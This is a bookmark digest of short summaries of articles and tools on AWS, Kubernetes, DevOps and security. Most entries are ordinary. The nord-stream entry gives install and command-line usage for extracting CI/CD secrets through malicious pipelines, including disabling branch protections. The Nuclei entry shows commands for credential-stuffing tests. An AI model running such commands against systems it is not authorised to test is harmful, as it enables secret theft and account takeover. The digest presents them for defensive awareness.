    • Technical skills: Product selection, ad-hoc security assessments, preparing for and handling an audit, integrating a new security product, and building a new tool.
    • Meta-skills: Excellent writing, fast learning and mentorship.
    • Reasoning: Unlike the military, most companies lack the time to grow junior talent, so they hire people who can already do the work.
    • Advantages: Programming experience, bug bounty work and active GitHub projects.
    • Goal: Be able to take on a project within about a week of starting.
    • Date: The page is dated 31 August 2019, so it predates when it was bookmarked.
    • Evidence: No survey data. It is opinion with references to Momentum Cyber’s CYBERscape and Michael Coates.

    Takeaway: For hiring or mentoring juniors, build portfolio items around these tasks (e.g. a written product evaluation or a small tool) rather than collecting more certifications.

  • A Simple, Yet Effective Cost Optimization Framework
    summary

    TL;DR: Mike Julian, CEO of The Duckbill Group (Sep 2023), describes the six-step order he and Corey Quinn follow when cutting a client’s AWS bill.

    • 1. Turn off unused resources.
    • 2. Store less data: Keep less, and move what remains to cheaper tiers, thinking in terms of the whole data lifecycle.
    • 3. Move less data: Data transfer is expensive, and compressing before transit reduces it.
    • 4. Cloud-ify workloads: Move along the “cloudiness continuum” towards serverless to cut compute time.
    • 5. Pre-pay: Reserved Instances, Savings Plans or private pricing come last because they lock in architecture.
    • 6. Repeat: Environments change, so revisit regularly.
    • Source caveat: The URL now redirects to duckbillhq.com.

    Takeaway: Buy commitments only after cleanup and architecture changes, or you will pre-pay for waste.

  • wazuh: Open Source Security Platform with Unified XDR and SIEM
    summary

    TL;DR: Wazuh is a free, open-source security platform combining XDR and SIEM, with endpoint agents that report to a central manager and an indexer and dashboard for analysis.

    • Architecture: Agents on monitored systems, a management server that analyses collected data, and the Wazuh Indexer for search and visualisation.
    • Intrusion detection: Agents look for malware, rootkits, hidden files, cloaked processes and unregistered listeners. The server applies signature rules to logs.
    • Log analysis: Agents forward OS and application logs. Agentless devices can send via syslog.
    • Other capabilities: File integrity monitoring, vulnerability detection, configuration assessment, incident response, regulatory compliance, and cloud and container security.
    • Scope: On-premises, virtualised, containerised and cloud workloads.

    Takeaway: A capable self-hosted SIEM/XDR if you have the staff to run and tune it. Budget time for rule tuning and indexer sizing.

  • Amazon VPC CNI Now Supports Kubernetes Network Policies
    summary

    TL;DR: Srinivas Jasti and Sheetal Joshi (AWS, Aug 2023) announced native Kubernetes NetworkPolicy enforcement in the Amazon VPC CNI using eBPF, removing the need for Calico or other add-ons on EKS.

    • Components: A Network Policy controller (managed on EKS), a node agent (aws-eks-nodeagent in the aws-node DaemonSet), and an eBPF SDK CLI (/opt/cni/bin/aws-eks-na-cli ebpf progs).
    • Requirements: VPC CNI 1.14.0+, EKS 1.25+, kernel 5.10+ (EKS Amazon Linux, Bottlerocket and Ubuntu AMIs qualify).
    • Enable: Off by default. Set enableNetworkPolicy: "true" in the VPC CNI add-on configurationValues.
    • Behaviour: New pods run with default allow until reconciled against existing policies.
    • Migration: No in-place migration from third-party plugins. Run only one policy engine, test on a separate cluster, and recycle nodes to clear old iptables and eBPF state.
    • Pairing: Can be combined with security groups for pods (IPv4).

    Takeaway: On EKS this is the simplest route to enforced NetworkPolicies. Note the brief default-allow window for new pods when designing strict isolation.

  • On Amazon EKS and Kyverno
    summary

    (Could not fetch full text.)

    TL;DR: A Medium post by micheldirk on running the Kyverno policy engine on Amazon EKS. Its content could not be retrieved.

    • Status: Medium returned HTTP 403 to all fetch attempts, and no archived copy could be retrieved.
    • Topic: From the title, using Kyverno admission policies on EKS. Specific policies, setup steps and findings are unknown.
    • Related material (not this post): Nirmata and the AWS Containers blog have published guides on EKS best-practice and Pod Security policies with Kyverno. Nirmata notes that Kyverno image verification does not work out of the box with images in Amazon ECR.
    • Source caveat: Summary based on the title, URL and unrelated search results on the same topic. Nothing here is from the author.

    Takeaway: Open the original in a browser if needed. For the topic itself, the Kyverno and Nirmata EKS guides are maintained alternatives.

  • logging-operator: Logging Operator for Kubernetes
    summary

    TL;DR: The Logging operator (kube-logging, a CNCF Sandbox project) automates deploying and configuring a Kubernetes log pipeline: Fluent Bit collectors on each node feeding a Fluentd or syslog-ng forwarder.

    • Pipeline: A Fluent Bit DaemonSet collects container logs and adds pod metadata from the Kubernetes API, then a forwarder filters and transforms them and ships to outputs.
    • Forwarders: Fluentd or syslog-ng.
    • Model: Flows and outputs are custom resources, so apps can declare their logging in their own Helm charts.
    • Features: Namespace isolation, label selectors, TLS between components, configuration validation, and multiple flows, outputs and logging systems.
    • Outputs: S3, GCS, Elasticsearch, Loki and others.

    Takeaway: Useful when many teams share a cluster and each needs its own log routing. Keep an eye on forwarder resource use as the number of flows grows.

  • My Preferred Go Stack
    summary

    TL;DR: JT Archie (Sep 2023) lists the Go libraries he reaches for by default, with brief reasons for each.

    • CLI: kong, which parses arguments into structs, passes state to commands and supports global flags.
    • HTTP client: req, for less boilerplate, middleware, retries, default timeouts and a debug mode.
    • Web: echo, with documented routing and middleware, similar to Ruby’s Sinatra.
    • Concurrency: His own worker package for goroutine pools.
    • Data: go-sqlite3 (CGO, with full-text search) and lo for generic collection helpers.
    • Testing and lint: ginkgo with gomega for BDD-style tests, and golangci-lint with most linters on, valuing errcheck.
    • Logging: The standard library’s log/slog.

    Takeaway: A reasonable default stack for small Go services and CLIs. Note the CGO dependency of go-sqlite3 if you need static cross-compiled builds.

  • harden-runner: Runtime Security for GitHub-Hosted and Self-Hosted Environments
    summary

    TL;DR: Harden-Runner from StepSecurity is a CI/CD security agent that works like an EDR for GitHub Actions runners, monitoring network egress, file integrity and process activity during each job.

    • Problem: Ephemeral CI runners hold cloud secrets and build production artifacts, but rarely have security monitoring. The README cites SolarWinds and Codecov.
    • Usage: Add the step-security/harden-runner action as a step in each workflow job. See the docs for policy options.
    • Detections claimed: The tj-actions/changed-files compromise (CVE-2025-30066), the NX build system and Trivy release compromises, a malicious axios npm package, and supply chain attacks in Google Flank and Microsoft’s Azure Karpenter provider.
    • Scale claim: The vendor says it secures over 25 million workflow runs a week.
    • Tiers: Community is free for public repos on GitHub-hosted runners. Private repos, self-hosted runners (including ARC) and advanced features need Enterprise.
    • Platforms: Linux, Windows and macOS runners.

    Takeaway: Adding it to public-repo workflows costs little and shows what your builds contact. Egress blocking is the control that limits secret exfiltration.

  • Introducing pgroll: Zero-Downtime, Reversible Schema Migrations for Postgres
    summary

    TL;DR: Xata introduced pgroll, an open-source CLI for zero-downtime, reversible Postgres schema migrations using the expand/contract pattern, with old and new schema versions served at the same time.

    • Versioned schemas: Old and new versions are exposed as virtual schemas made of views over the physical tables, so old and new app versions can run side by side.
    • Example (NOT NULL): Adds a new column, adds the constraint NOT VALID, backfills in batches, and keeps old and new columns in sync with triggers.
    • Commands: pgroll start <file> begins a migration and pgroll complete removes the old column and triggers. Rollback works because the old schema stays live until completion.
    • Format: JSON with name and operations, e.g. alter_column with up and down SQL expressions for transforming values.
    • Operations mentioned: Set NOT NULL, rename column, add or remove constraints, and UNIQUE.
    • Missing details: The post names no license, author or supported Postgres versions, and calls this a first version.

    Takeaway: Worth evaluating if Postgres migrations force downtime or lockstep deploys. Check the project’s current status and limits before relying on it in production.

  • Software Supply Chain Vendor Landscape
    summary

    TL;DR: Francis Odum (guest author) and Clint Gibler map the software supply chain security vendor market for tl;dr sec (Oct 2023), covering 20+ vendors by category.

    • Categories: Legacy AppSec (Veracode, Checkmarx, Synopsys), modern platforms (Snyk), source code layer (Arnica, Jit), SCA, malicious package detection (Socket, Phylum, GuardDog), CI/CD security (OX, Cycode, Cider), containers (Chainguard, Aqua, Rapidfort), and SBOM and signing.
    • Drivers: The 2021 US executive order and a 2022 OMB memo on SBOMs and attestations. It cites NightDragon data that over 96% of CISOs are using or considering supply chain tools.
    • Reachability: Checking whether vulnerable functions are actually called may cut SCA alerts by over 90%. The authors say only Semgrep and Endor Labs meaningfully pursue it.
    • Market: Highly fragmented with 30+ startups and consolidation under way (Palo Alto bought Cider, Snyk bought Enso).
    • Standards: Many vendors build on SLSA, NIST SSDF and OpenSSF Scorecard.

    Takeaway: A useful map when shortlisting tools. Ask vendors specifically about reachability and malicious-package detection, the areas the authors see as differentiators.

  • KubeHound: Identifying Attack Paths in Kubernetes Clusters
    summary

    TL;DR: Datadog’s adversary simulation team (Jeremy Fox, Julien Terriac, Edouard Schweisguth, Oct 2023) released KubeHound, an open-source tool that builds a graph of Kubernetes attack paths from a live cluster.

    • Architecture: A Go collector pulls objects from the API server, MongoDB holds intermediate data, and the graph is stored in JanusGraph, explorable with a client such as G.V().
    • Attacks modelled: Most known Kubernetes techniques from container escape to lateral movement, each with a reference page (e.g. CE_NSENTER, TOKEN_BRUTEFORCE).
    • Queries: Gremlin, plus a KubeHound DSL for common questions.
    • Results: From one compromised pod, the candidate set in a 300-container cluster dropped to 14. Blocking TOKEN_BRUTEFORCE removed 16 of 18 critical paths from one public service. Only 6 of 846 services had a path to a critical asset (shortest 4 hops).
    • Run: ./kubehound.sh backend-up, select a cluster with kubectx or KUBECONFIG, then ./kubehound.sh run.

    Takeaway: Graph-based path analysis helps prioritise which Kubernetes fixes remove the most risk. Run it on a staging cluster first to learn the queries.

  • 25 Hard-Hitting Lessons from 17 Years in Cybersecurity
    summary

    TL;DR: Mike Privette of Return on Security (Sep 2023) shares 25 opinionated lessons from 17 years in cybersecurity, mostly about business alignment, careers and vendors.

    • Business: Budget reveals real risk tolerance. Understand how the company makes money. Many firms fund security mainly to avoid fines. Security supports the business and is not the main act.
    • Practice: Unpatched systems and weak response cause more harm than exotic zero-days. Security is mostly people and negotiation. Conversations assess risk better than spreadsheets.
    • Careers: Entry is a catch-22. Certifications get past HR but experience gets results. Changing employers is the fastest way to advance. Your network matters more than what you know.
    • Culture: Elitism often masks insecurity, and echo chambers are real.
    • Vendors: The more buzzwords, the less likely a product solves your problem. Conferences are better for networking than tool evaluation.
    • GRC: Often criticised, but it coordinates the whole security effort.

    Takeaway: A good prompt for reflection or mentoring talks. It is opinion, not data, but the patching and business-alignment points apply to most teams.

  • Overhauling AWS Account Access with Terraform, Granted, and GitOps
    summary

    TL;DR: Mike Julian, with a guest section by Chris Farris (Sep 2023), describes how The Duckbill Group rebuilt consultant access to client AWS accounts using IAM Identity Center, Terraform, CodePipeline and Common Fate’s Granted CLI.

    • Before: Cross-account roles with ReadOnly, later ViewOnly, a two-page manual setup checklist for contractors, and CLI config files passed between staff.
    • Identity: Google Workspace as the source of truth with SCIM to Identity Center (Google Groups were not supported).
    • Terraform: Per client, it pulls account details from the CRM via Lambda and creates a group, a permission set (allowed to assume DuckbillGroupRole only with the matching external ID) and an assignment.
    • Pipeline: CodePipeline runs plan in CodeBuild, waits for human approval, then applies. It was chosen over GitHub Actions to keep IAM trust inside AWS.
    • Granted: Profiles generated from CRM data and published to a Granted profile registry in GitHub, so no config files change hands.
    • Permissions: Explicitly deny sensitive IAM actions rather than enumerate allows, since ReadOnly (261 services) and ViewOnly (150) each have gaps. Sessions last 6 hours.
    • Source caveat: The URL now redirects to duckbillhq.com.

    Takeaway: A good reference design for consultancies or platform teams managing access to many accounts. The deny list of sensitive read actions is the reusable piece.

  • Security Hub Gives Me Imposter Syndrome
    summary

    TL;DR: Chris Farris (Oct 2023) critiques AWS Security Hub. It is cheap, easy and organisation-wide, but its scoring and controls measure compliance rather than risk and demoralise engineers.

    • Positives: Delegated admin, cross-region aggregation, the AWS Foundational Security Best Practices standard, and consolidation of Inspector, GuardDuty and Macie findings.
    • Cost: The advertised price covers only the delegated admin account. With AWS Config, the author’s bill exceeded 1% of total AWS spend.
    • Misleading scores: The Security Score (31%) and standard score (33%) disagreed. 1,699 criticals included Inspector findings, and 14,650 failed resources spanned 137 finding types while 82% of resources were compliant.
    • Noisy controls: A root hardware MFA check produced 289 critical findings across regions, and disabling it meant visiting each account and region.
    • Other issues: Fixes took nearly a day to show, and prioritisation was weak.
    • Workarounds: Use it mainly as an aggregator with most controls off and forward findings to a SIEM. AWS later added multi-account disable scripts and CloudFormation support.

    Takeaway: Do not use the Security Hub score as a KPI. Curate the enabled controls to match your actual risks before showing dashboards to engineering.

  • PCI v4 Is Coming. Are You Ready?
    summary

    TL;DR: Kamaria Harvey of Pen Test Partners (Sep 2023) summarises what changes in PCI DSS v4.0, released March 2022, ahead of v3.2.1’s retirement.

    • Approaches: The Defined Approach, or the new Customised Approach, which needs a formal risk assessment and Appendix E documentation. The article counts 64 changes that affect all entities.
    • Dates: Some requirements apply at once to v4.0 audits. Others become mandatory on 31 March 2025.
    • Data: Disk-level encryption is no longer enough except on removable media, and hashing must be keyed (HMAC or CMAC).
    • Authentication: Minimum password length rises from 7 to 12 characters, and MFA is needed for all CDE access, not just remote.
    • Web: A WAF is required for internet-facing apps from March 2025. Payment page scripts must be inventoried, and payment pages need change and tamper detection.
    • Operations: Automated log review replaces manual, internal vulnerability scans must be authenticated, scoping is documented yearly, and anti-phishing controls are required.

    Takeaway: The March 2025 dates have passed, so these are now mandatory. Check payment-page script controls and authenticated internal scanning, which teams often miss.

  • How to Traceroute Kubernetes Pod-to-Pod Traffic
    summary

    (Could not fetch full text.)

    TL;DR: A Globant engineering post on Medium about tracing the network path of Kubernetes pod-to-pod traffic. Its content could not be retrieved.

    • Status: Medium returned HTTP 403 to all fetch attempts, and no archived copy could be fetched.
    • Topic: From the title, running traceroute-style diagnostics between pods. The CNI, tools and commands it used are unknown.
    • Related approaches (not from this post): Running traceroute from a source pod to a destination pod IP, TCP traceroute when ICMP or UDP is blocked, and CNI-specific tracers such as Antrea Traceflow or ovnkube-trace.
    • Source caveat: Summary based on the title and unrelated search results on the same topic.

    Takeaway: Open the original in a browser if needed. For live debugging, use your CNI’s own trace tooling, which shows policy and overlay hops that plain traceroute misses.

  • ZAP Is Joining the Software Security Project
    summary

    TL;DR: Simon Bennetts announced (1 Aug 2023) that ZAP was leaving OWASP to become a founding project of the Linux Foundation’s new Software Security Project (SSP), and dropping the OWASP prefix.

    • Reason: A project can belong to only one foundation. The author said OWASP struggled to invest in large projects, and ZAP needs more investment to compete with commercial scanners.
    • Name: “OWASP ZAP” becomes “ZAP”, with UI rebranding in the next full release.
    • Funding: The SSP would fund Simon Bennetts and Ricardo (thc202) to work on ZAP full time.
    • User impact: ZAP stays open source. Docker Hub images move to a new organisation (update pull URLs), but GHCR images are unaffected.
    • Later update: The page is now marked historical. ZAP is supported by Checkmarx and is no longer part of any foundation.

    Takeaway: If your pipelines still pull ZAP images from the old OWASP Docker Hub organisation, switch to the current official ZAP images.

  • Terraform 1.6 Adds a Test Framework for Enhanced Code Validation
    summary

    TL;DR: HashiCorp announced Terraform 1.6 (GA 4 Oct 2023) with a native terraform test framework, plus config-driven import, Terraform Cloud CLI and S3 backend improvements.

    • Testing: Tests are written in HCL in .tftest.hcl files as sequences of run blocks with assertions, optionally using helper modules for setup.
    • Lifecycle: terraform test provisions real infrastructure per run, evaluates assertions, then destroys it. It replaces the experimental test feature from 0.15.
    • Import: The id in import blocks now accepts expressions and interpolation, e.g. a bucket name combined with the account ID.
    • Terraform Cloud: The cloud block accepts project. Saved plans work via terraform plan -out <file> and terraform apply <file>, storing only a reference to the remote run locally.
    • S3 backend: Config aligned with the AWS SDK and provider, with attributes moved into nested blocks. Old configs work but warn about deprecations.

    Takeaway: Module authors can now test without Terratest. Expect S3 backend deprecation warnings on upgrade and plan the config change.

  • nord-stream: Extract Secrets from CI/CD Environments by Deploying Malicious Pipelines
    summary

    TL;DR: Nord Stream from Synacktiv extracts secrets from CI/CD platforms (Azure DevOps, GitHub, GitLab) by pushing temporary malicious pipelines that print the secrets, then cleaning up.

    • Install: pipx install git+https://github.com/synacktiv/nord-stream. Requires git.
    • GitHub flow: nord-stream github --token "$GHP" --org org --repo repo --list-secrets to enumerate, then run without --list-secrets to exfiltrate repo and environment secrets.
    • Protections: It can list and disable branch protections (with --force) and abuse Azure and AWS OIDC trust.
    • Azure DevOps: Extracts service connection credentials and SSH secrets, and lists orgs.
    • GitLab: Lists secrets and protections, and deploys custom YAML.
    • OPSEC: Cleans workflow logs and can sign commits. Background is in Synacktiv’s CI/CD secrets extraction blog post.

    Takeaway: It shows that anyone who can push a pipeline can read its secrets. Restrict who can modify workflows, use environment protection rules, and scope OIDC trust tightly.

  • Announcing Updates to the AWS Well-Architected Framework Guidance
    summary

    TL;DR: Haleh Najafzadeh (AWS, Oct 2023) announced updates to 90 AWS Well-Architected Framework best practices across all six pillars.

    • Operational Excellence (26): A new observability design principle, all of OPS05 updated, and 28 practices consolidated into 16.
    • Security (8): SEC10 incident response aligned with the AWS Security Incident Response Guide, one new practice added, and better data-at-rest and in-transit guidance (SEC08, SEC09).
    • Reliability (7): REL06 and REL11 updates on monitoring, failover, remediation and multi-Region resilience.
    • Performance Efficiency (32): Restructured with 10 fewer practices and three fewer questions. New practices on caching and hardware acceleration.
    • Cost Optimization (10) and Sustainability (7): More prescriptive guidance, and updated risk levels for Sustainability.
    • Context: This follows 151 practices improved earlier in 2023. AWS says over 73% of practices were updated in the year.

    Takeaway: If you ran Well-Architected reviews before late 2023, re-run the Security and Operational Excellence pillars against the updated guidance in the Well-Architected Tool.

  • mods: AI on the Command Line
    summary

    TL;DR: Mods from Charmbracelet is a CLI that pipes command output into an LLM and returns Markdown, JSON or other text, built for shell pipelines. It has since been sunset.

    • Status: Charm announced it sunset Mods and archived the repo on 9 March 2026 to focus on Crush. Much of the functionality is in crush run.
    • Backends: OpenAI, Azure OpenAI, Cohere, Groq, and local models via LocalAI.
    • Install: brew install charmbracelet/tap/mods, winget install charmbracelet.mods, AUR, Nix, or Charm’s apt repo.
    • License: Remains open source. Charm invites forks.

    Takeaway: Do not adopt it for new work. Use Crush’s non-interactive mode or another maintained CLI, and avoid piping secrets into hosted models.

  • Autometrics: Easily Add Metrics to Your Code to Spot and Debug Production Issues
    summary

    TL;DR: Autometrics is an open-source observability micro-framework that instruments functions with request rate, error rate and latency metrics, built on Prometheus and OpenTelemetry. This link is the GitHub org.

    • Languages: autometrics-rs (Rust), autometrics-go, autometrics-ts, autometrics-py, and community-maintained C#/.NET and Java ports (with an IntelliJ plugin).
    • Generated queries: Builds Prometheus queries from instrumented function names, so you do not write PromQL by hand.
    • Doc links: Adds links to live charts in function doc comments.
    • Alerting: SLO-based alerts can be defined in source code. Software version info is correlated with metric anomalies.
    • Tooling: am, a companion CLI, shared dashboards, docs, and diff-metrics, a GitHub Action that comments on PRs about metric impact.
    • Status: The org page did not show whether the repos are still active, so check each repo before adopting.

    Takeaway: A low-effort way to get RED metrics per function with consistent naming. Confirm the language library is still maintained before building on it.

  • glide: Automate Permissions to Your Cloud and Critical Applications
    summary

    TL;DR: Glide is Common Fate’s open source privileged access management framework for requesting and approving temporary access to cloud and SaaS roles.

    • Status: The README says Glide was sunset and the repository archived on May 16, 2024; it is now read-only.
    • Access rules: Admins define rules for who can request access to what, and which resource owners approve it.
    • Access Providers: Pluggable providers provision access to SaaS services and cloud providers.
    • Approvals: Requests and approvals integrate with team chat tools such as Slack.
    • License: AGPL-3.0, with a commercial license available on request.

    Takeaway: Useful as a reference design for just-in-time access with approval workflows. Do not adopt it for new deployments, since it is archived.

  • NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
    summary

    TL;DR: Joint NSA and CISA advisory AA23-278A (October 5, 2023) lists the ten most common misconfigurations their red, blue, hunt and incident response teams find in large organizations.

    • The ten: Default configurations; poor user/admin privilege separation; insufficient internal network monitoring; lack of network segmentation; poor patch management; bypass of system access controls; weak or misconfigured MFA; insufficient ACLs on network shares and services; poor credential hygiene; unrestricted code execution.
    • Finding: These weaknesses appear even in organizations with mature security postures, which the agencies call a systemic trend.
    • Defender actions: Remove default credentials and harden configs, disable unused services, automate patching with priority on known exploited vulnerabilities, and reduce, restrict, audit and monitor admin accounts.
    • Vendor ask: Software manufacturers are urged to adopt secure-by-design and secure-by-default practices so customers carry less of the burden.
    • Format: Each misconfiguration maps to attacker TTPs and to mitigations in the advisory.

    Takeaway: A practical audit checklist for any large environment. Walk through the ten items against your own estate and use the mitigations section as the fix list.

  • New ‘HTTP/2 Rapid Reset’ Zero-Day Attack Breaks DDoS Records
    summary

    TL;DR: BleepingComputer (Bill Toulas, October 10, 2023) reports on HTTP/2 Rapid Reset, a DDoS technique tracked as CVE-2023-44487 that was exploited as a zero-day from late August 2023.

    • Record sizes: AWS, Cloudflare and Google reported mitigating attacks of 155 million, 201 million and 398 million requests per second respectively.
    • Small botnet: Cloudflare’s peak was three times its February 2023 record of 71 million rps and came from a botnet of about 20,000 machines.
    • Technique: Attackers open HTTP/2 streams and immediately cancel them with RST_STREAM frames, so the server keeps doing work while the concurrent-stream limit never triggers.
    • Impact: Proxies and load balancers are especially exposed; Cloudflare saw more 502 errors for customers.
    • Mitigation: There is no protocol-level fix; vendors add rate controls, and Cloudflare extended its “IP Jail” system to bar offending IPs from HTTP/2.
    • Disclosure: Cloudflare held the details for over a month so vendors could prepare patches.

    Takeaway: Patch every HTTP/2-terminating component (proxies, load balancers, web servers, language runtimes) for CVE-2023-44487, and confirm your edge has HTTP flood protection.

07.09.2023

  • Amazon EKS Makes It Easier to Configure and Use Amazon EFS for Persistent Shared File Storage
    summary

    TL;DR: AWS announcement (August 2, 2023) that the Amazon EFS CSI driver is now available as a managed Amazon EKS add-on.

    • What changed: The EFS CSI driver can be installed, configured and updated from the EKS console, AWS CLI, EKS API or IaC tools.
    • No manual install: It removes the need to deploy the driver yourself with kubectl or helm.
    • Maintenance: Add-ons get the latest security patches and bug fixes and are validated by AWS against EKS.
    • Use case: Attach persistent, elastic shared EFS file storage to pods.
    • Regions: All regions that support EFS except the two AWS China regions (Beijing and Ningxia).

    Takeaway: If you run the EFS CSI driver from a Helm chart, consider moving it to the managed add-on so AWS handles version compatibility.

  • AWS Announces Public IP Insights, a New Feature of VPC IP Address Manager
    summary

    TL;DR: AWS announcement (July 28, 2023) of Public IP Insights, a free VPC IP Address Manager (IPAM) feature that shows every public IPv4 address in an account.

    • Visibility: One view of public IPv4 usage across AWS services, with the resources each address is attached to.
    • Cleanup: Helps identify and release public IPv4 addresses not in use.
    • Security group insights: Flags inefficient use, such as EC2 instances with a public IP whose security group only allows SSH on port 22, and suggests EC2 Instance Connect Endpoint instead.
    • Cost: Free, in all commercial and GovCloud (US) regions.

    Takeaway: Use it to inventory public IPv4 addresses, both to shrink attack surface and to prepare for AWS charging for public IPv4.

  • Automating Custom Networking to Solve IPv4 Exhaustion in Amazon EKS
    summary

    TL;DR: AWS Containers blog post showing how to automate VPC CNI custom networking with CDK EKS Blueprints to stop pods from exhausting a VPC’s IPv4 space.

    • Problem: The VPC CNI gives pods IPs from the node’s primary subnet, which can run out on large clusters; IPv6 is the long-term fix but many organizations are not ready.
    • Custom networking: Pods get IPs from secondary ENIs in subnets defined by the ENIConfig custom resource, carved from a secondary VPC CIDR; nodes keep primary-subnet IPs.
    • Pain point: Enabling it on an existing cluster means reconfiguring the add-on and cordoning and draining nodes; only new nodes pick it up.
    • Blueprint pattern: The cdk-eks-blueprints-patterns repo creates the secondary subnets, the VPC CNI add-on and ENIConfig, with options for prefix delegation, WARM_IP_TARGET and WARM_ENI_TARGET.
    • Prerequisites: AWS CLI v2, kubectl, AWS CDK 2.83.0+, npm 9.6.0+, yq and make.

    Takeaway: If pod IPs are the scaling limit, add a secondary CIDR and put it into code with a blueprint, so new clusters start with custom networking.

  • How H2O.ai Optimized and Secured Their AI/ML Infrastructure with Karpenter and Bottlerocket
    summary

    TL;DR: AWS Containers blog post co-written with H2O.ai about replacing Cluster Autoscaler and Amazon Linux 2 with Karpenter and Bottlerocket on EKS for ML workloads.

    • Before: Cluster Autoscaler with many node groups was slow and error-prone; provisioning new ML workloads often took 15 minutes or more, partly due to pulling large images.
    • Result: The post claims a 100-fold improvement in compute provisioning and configuration time.
    • Image prefetch: stargz and SOCI were considered but rejected as hard to use; they used Bottlerocket with pre-baked data volumes that already contain the container images.
    • Weighted provisioners: Several Karpenter provisioners, with a higher-weight one (weight: 2) restricted to GPU instance categories so GPU nodes are tried first without depending on availability.
    • Security: Bottlerocket’s minimal, container-only OS reduces the host attack surface since they never SSH in or install host software.

    Takeaway: For large ML images, pre-baked Bottlerocket volumes plus Karpenter are worth testing before reaching for lazy-loading snapshotters.

  • Scaling Kubernetes with Karpenter: Advanced Scheduling with Pod Affinity and Volume Topology Awareness
    summary

    TL;DR: AWS Containers blog post co-written by Lukonde Mwila showing how Karpenter provisions nodes that satisfy pod affinity, anti-affinity and volume topology constraints.

    • Affinity rules: Covers podAffinity and podAntiAffinity with requiredDuringSchedulingIgnoredDuringExecution and preferredDuringSchedulingIgnoredDuringExecution.
    • Use cases: Affinity co-locates interdependent pods in one AZ or node to cut latency; anti-affinity spreads pods across nodes or AZs for HA, as CoreDNS does with a hostname topologyKey.
    • Karpenter behavior: It watches unschedulable pods and launches compute that meets their affinity rules, with no extra node groups.
    • Walkthrough: Uses a karpenter.sh/v1alpha5 Provisioner on EKS, provisioned with Terraform EKS Blueprints.
    • Volume topology: The post’s second half covers volume topology awareness, meaning node placement that respects where a pod’s persistent volume lives.
    • Version note: The examples use the old v1alpha5 Provisioner API, which later Karpenter releases replaced with NodePools.

    Takeaway: Karpenter honours standard scheduling constraints, so keep them in pod specs rather than encoding placement in node groups. Translate the examples to current Karpenter APIs.

  • Kubernetes Audit Logs: The Unsung Hero of the Kube-verse
    summary

    TL;DR: KubeStory newsletter post by Stephane Karagulmez (August 5, 2023) explaining what Kubernetes audit logs capture, how to enable them and how to use them.

    • Captured data: Request URI, verb, user and groups, source IP, object reference, response status and optionally request and response bodies.
    • Stages: RequestReceived, ResponseStarted, ResponseComplete and Panic.
    • Enabling: kube-apiserver flags such as --audit-log-path, --audit-log-maxage=30, --audit-log-maxbackup=3, --audit-log-maxsize=100, plus an audit policy that sets levels.
    • Managed clusters: Notes how EKS (CloudWatch and CloudTrail integration) and GKE (Cloud Operations) expose audit logs.
    • Uses: Debugging, incident response and compliance, with log management and visualization tools.

    Takeaway: Turn on audit logging with a tuned policy before you need it; without it you cannot answer who did what in a cluster during an incident.

  • helm-dashboard: The Missing UI for Helm to Visualize Your Releases
    summary

    TL;DR: Helm Dashboard is an open source web UI from Komodor for viewing installed Helm releases, their history and their Kubernetes resources. It is not an official Helm project.

    • Features: Lists installed charts with revision history, shows manifest diffs between revisions and browses the resources each chart created.
    • Actions: Roll back or upgrade a release, with a manifest diff shown first.
    • Scanners: Integrates with popular problem scanners.
    • Multi-cluster: Switches between kube contexts; runs locally or inside a cluster.
    • Install: Since 1.0 it ships as a standalone binary that needs neither helm nor kubectl; it can also be installed as a Helm plugin.

    Takeaway: Handy for reviewing release history and diffs without memorising helm history and helm get manifest. Limit its cluster permissions if you install it in-cluster.

  • awesome-kubernetes-threat-detection: Awesome Kubernetes (K8s) Threat Detection
    summary

    TL;DR: A curated awesome-list by jatrost of resources on detecting threats in and defending Kubernetes.

    • Books: Including Hacking Kubernetes, Security Observability with eBPF, Container Security (Liz Rice), and relevant Gray Hat Hacking chapters.
    • Talks: A YouTube playlist of detection talks, such as Falco-based threat hunting across thousands of clusters.
    • Sections: Conferences, blogs and articles, TTPs and attack matrices, tools, detection rules and analytics, and people to follow.
    • Focus: Detection and defense rather than general hardening.

    Takeaway: A good starting reading list for building Kubernetes detection, especially the attack-matrix and detection-rule sections.

  • terraform-tui: Terraform Textual UI for State
    summary

    TL;DR: TFTUI by Ido Avrah is a terminal UI, written in Python, for browsing and working with Terraform state.

    • State tree: Shows the full state with modules nested, searchable by resource name and definition.
    • Resource view: Shows single resources with HCL highlighting and reveals sensitive values on demand.
    • Actions: Taint, untaint or remove resources or whole modules; create targeted and destroy plans and apply them.
    • Compatibility: Works with Terraform, OpenTofu and wrappers such as Terragrunt; switches workspaces without restarting.
    • Install: brew install idoavrah/homebrew/tftui, pipx install tftui or uv tool install tftui; needs Python 3.10+ and run as tftui in a project directory.

    Takeaway: Faster than chaining terraform state list and state show when exploring big states. Be careful with the remove and apply actions on shared state.

  • Understanding and Automating Credential Stuffing Testing with Nuclei
    summary

    TL;DR: ProjectDiscovery blog post by Parth Malhotra (June 8, 2023) on using Nuclei templates to test whether leaked or known credentials work on cloud and self-hosted services.

    • Context: Credential stuffing reuses leaked username and password pairs; the post cites a figure that only 35% of users use a different password for every login.
    • Cloud templates: Self-contained templates with fixed login endpoints, for example a Datadog login check that extracts a CSRF token and matches a Set-Cookie: dogweb= header plus HTTP 302.
    • Self-hosted templates: Need a target host, for example a Jira check against /rest/gadget/1.0/login.
    • Usage: Credentials are passed as variables, for example nuclei -var username=... -var password=... -t <template>.yaml.
    • Defense: Closes with detection and prevention strategies against stuffing.
    • Moved: The URL now redirects to projectdiscovery.io/blog.

    Takeaway: Useful for authorised testing of credential reuse across an org’s SaaS and self-hosted logins. Run it only on accounts and systems you are allowed to test.

  • MITRE ATLAS for AI and ML
    summary

    (Could not fetch full text.)

    TL;DR: MITRE ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems) is MITRE’s knowledge base of adversary tactics, techniques and real-world case studies against AI and ML systems, modelled on ATT&CK.

    • Structure: Uses ATT&CK’s matrix layout: tactics are adversary goals, techniques are methods, case studies are documented incidents.
    • Example techniques: Data poisoning of training or fine-tuning data and prompt injection.
    • Mitigations: Technique entries link to case studies and mitigations.
    • Navigator: An adapted ATT&CK Navigator includes a heat map of the techniques most often referenced in case studies.
    • Counts vary: Third-party sources give different tactic and technique counts for different releases, so check the site for current numbers.
    • Source caveat: The site is a JavaScript app that returned only its title; this summary is based on web search results describing ATLAS.

    Takeaway: Use ATLAS for ML threat modelling and red-team planning just as you would use ATT&CK for conventional systems.

  • How to Build a Globally Distributed, Multi-Region Identity and Access Platform
    summary

